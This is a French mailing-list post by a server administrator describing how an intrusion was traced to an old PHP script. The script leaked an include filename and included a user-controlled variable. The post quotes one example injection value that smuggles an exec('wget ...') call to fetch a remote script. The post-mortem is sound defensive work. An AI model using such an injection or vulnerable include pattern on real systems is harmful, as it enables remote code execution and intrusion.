[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

[resolu] awstats (innocenté), sarge, intrusion



Bon, j'ai par comprendre et awstats est innocent.

La situation: Une personne arrivait à éxécuter un script perl sous www-data
donc pas l'intermédiaire d'apache. La machine initialement sous woody a été
tout d'abord mise à jour puis complètement nettoyée et vérifiée (je ne pouvais
pas me permettre de la réinstaller, étant donné qu'elle était en usage
permanent et intense). Toujours fidèle au principe «une machine n'est
jamais étanche, il faut donc bétonner la surveillance», je me suis rapidement
aperçu que le problème continuait. Le gars a pu reéxécuter une nouvelle fois
le script perl. 

Une étude approfondie des logs m'a permis d'être sur que le problème venait du
serveur et d'Apache. J'ai fini par conserver un log de toutes les requêtes
Apache. Ça m'a permis de constater que le coupable est un bête script PHP
conçu par un élève sous PHP3 il y a longtemps (>6 ans) (script que j'aurais du
vérifier mais bon...), il a fait deux erreurs:

1) Un include d'un fichier d'extension .inc, fichier lisible par ailleurs 

2) Ce fichier  contenant une fonction pouvant faire une erreur:

une requête http://<URL>/script.php?nom=bidondenimportequoi

affichait à l'écran le nom du fichier .inc. La personne pouvait alors charger
le fichier .inc  et l'étudier. 

Elle était alors dans la possibilité de faire la fonction PHP
include($nom.htm);
avec $nom comme elle le voulait. Je pense qu'il est alors possible de charger
un document extérieur, peut être en donnant une valeur 
"plop.htm;exec('wget http://site/script.php')" 
à $nom.

Conclusion:
* Un script PHP de 50 lignes présent sans souci depuis 6 ans peut avoir une
faille béante et révéler sa faille au bout de ces 6 ans.
* Avant d'incriminer awstats, il faut d'abord vérifier ses propres scripts.
Tracer les requêtes apache est la meilleure solution à mon avis. En effet
j'aurais pu réinstaller complètement le serveur, cela n'aurait rien changer...


François Boisson

Au fait quelqu'un sait-il ce qu'est «mocks»???


Reply to: